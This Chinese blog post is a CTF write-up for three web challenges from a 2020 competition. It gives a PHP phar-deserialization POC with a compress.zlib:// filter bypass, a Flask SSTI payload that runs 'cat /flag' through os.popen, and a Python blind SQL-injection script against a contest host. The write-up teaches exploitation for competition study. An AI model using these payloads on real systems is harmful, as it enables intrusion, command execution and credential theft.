Skip to content
Menu
0xdawn's blog
  • 首页
  • 关于我
  • 联系方式
0xdawn's blog
2020年9月27日2021年6月4日

巅峰极客2020web writeup

知识点

  • babyphp2

    phar反序列化+compress.zlib绕过

  • babyflask

    flask ssti

  • babyback

    单引号逃逸盲注+代码注入

babyphp2

www.zip源码泄露

classes.php

<?php
error_reporting(0);
session_start();
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login();
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='upload.php'</script>";
        }
    }
}
    public function upload(){
        $uploader=new Upload();
        $uploader->upload();
    }
    public function read(){
        $reader=new reader();
        $reader->read($_POST['filename']);
    }
    public function __toString()
    {
        $this->nickname->backup=$this->backup;
        $user = new User();
        $user->id = $_SESSION['id'];
        $user->nickname = $_SESSION['token'];
        return serialize($user);
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="p3rh4ps";
    public $dbpass="p3rh4ps";
    public $database="p3rh4ps";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
    }
    public function login()
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $sql="select id,password from users where username=?";
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function __destruct(){
        echo $this->token;
    }
}
Class Upload{
    public $flag;
    public $file;
    public $ext;
    function __construct(){
        $this->flag = 1;
        $this->black_list = ['ph', 'ht', 'sh', 'pe', 'j', '=', 'co', '\\', '"', '\''];
    }
    function check(){
        $ext = substr($_FILES['file']['name'], strpos($_FILES['file']['name'], '.'));
        $reg=implode("|",$this->black_list);
        $reg = "/" . $reg . "\x|\s|[\x01-\x20]/i";
        if(preg_match($reg, $ext)){
            $this->flag = 0;
        }
        $this->ext = $ext;
    }

    function __wakeup(){
        $this->flag = 1;
    }

    function upload(){
        $this->file = $_FILES['file'];
        $this->check();
        if($this->flag){
            if(isset($_FILES['file'])){
                if ($_FILES["file"]["error"] > 0){
                    echo "Error: " . $_FILES["file"]["error"];
                }
                else{
                    if (file_exists("upload/" . $_FILES["file"]["name"])){
                        echo $_FILES["file"]["name"] . " already exists. ";
                    }
                    else{
                        if ($_FILES["file"]["size"] > 10240){
                            echo "too big";
                        }
                        else{
                            $new_addr = $_SERVER['DOCUMENT_ROOT'] . "/upload/" . md5($_FILES['file']['name']) . $this->ext;
                            echo $new_addr;
                            move_uploaded_file($_FILES["file"]["tmp_name"], $new_addr);
                            return $new_addr;
                        }
                    }
                }
            }
        }
        else{
            die("Noooooooooooooooooooooooooooo!");
        }
    }
}

Class Reader{
    public $filename;
    public $result;
    public function read($filename){
        if (preg_match("/flag/i",$filename)){
            die("想多了嗷");
        }
        if (preg_match("/sh/i",$filename)){
            die("nooooooooooo!");
        }
        if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)){
            die("Invid Schema!");
        }
        echo file_get_contents($filename);
    }
    public function __set($name,$val){
        echo file_get_contents($val);
}
}
  1. 需要通过Reader类的__set()魔术方法中的file_get_contents()触发phar反序列化
  2. 要触发__set()方法,需要给一个未定义的属性赋值,也就是__toString()中的$this->nickname->backup=$this->backup;
  3. 要触发__toString()方法,需要把类当作字符串处理,也就是__destruct()中的echo $this->token;

POC

<?php
class User
{
    public $nickname;
    public $backup;
}

class dbCtrl
{
    public $token;
}

Class Reader{
}

@unlink("exp.phar"); 
$phar = new Phar("exp.phar");
$phar->startBuffering(); 
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$r = new Reader();
$u = new User();
$u -> nickname = $r;
$u -> backup = "/flag";
$o = new dbCtrl();
$o -> token = $u;
$phar->setMetadata($o);
$phar->addFromString("a", "a");
$phar->stopBuffering();
?>

生成好phar文件后,将后缀修改为gif上传,通过read.php触发phar文件

preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename)

这里正则不能以phar协议开头,可以使用compress.bzip2://和compress.zlib://绕过

compress.bzip2://phar:///var/www/html/upload/f3035846cc279a1aff73b7c2c25367b9.gif/a
compress.zlib://phar:///var/www/html/upload/f3035846cc279a1aff73b7c2c25367b9.gif/a

babyflask

获取某个类

"".__class__

获取object基类

"".__class__.__mro__[1]

获取其所有子类

"".__class__.__mro__[1].__subclasses__()

查看可以读文件的方法

"".__class__.__mro__[1].__subclasses__()[1].__init__.__globals__

读取flag

{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['__import__']('os').popen('cat%20/flag').read()}}

babyback

fuzz一下关键字,下面这些是被ban了的

参考BJD 2nd的那道题

username=admin\     password=||2>1#

盲注脚本

import requests
import time

url = "http://eci-2ze91js64coessijkdik.cloudeci1.ichunqiu.com/index.php"
data = {}
password = ""

for i in range(1,100):
    low = 32
    high = 128
    mid = (low+high)//2
    while(low<high):
        payload = '||(ascii(substr((password),%d,1))>%d)#' % (i,mid)
        data={"username":"admin\\","password":payload}
        r = requests.post(url,data=data)

        if "用户名或密码错误" in r.text:
            high = mid
        else:
            low = mid + 1
        mid = (low+high)//2
    if(mid == 32 or mid == 127):
        break
    password += chr(mid)
    print(password)

得到密码为uAreRigHt

取反构造

include~%D0%99%93%9E%98?>

  有时候,禁锢我们的,不是环境设下的牢笼,不是他人施与的压力,而是我们自己把自己局限在狭隘的空间里,在无端中迷失了自我.

云烟成雨

https://www.0xdawn.cn/wp-content/uploads/2019/11/房东的猫-云烟成雨.mp3

文章检索

分类

  • CTF
  • 代码审计
  • 学习笔记
  • 渗透测试
  • 漏洞演练

近期文章

  • 2021长城杯 Write up by D0g3
  • 2021网刃杯 write up
  • 2021羊城杯 Web Write up
  • 第五届蓝帽杯总决赛 write up
  • 第五届强网杯Web部分 write up

归档

联系我们

地址
成都信息工程大学

Email
yan@0xdawn.cn

QQ
1115230222

©2022 0xdawn's blog | Powered by WordPress and Superb Themes!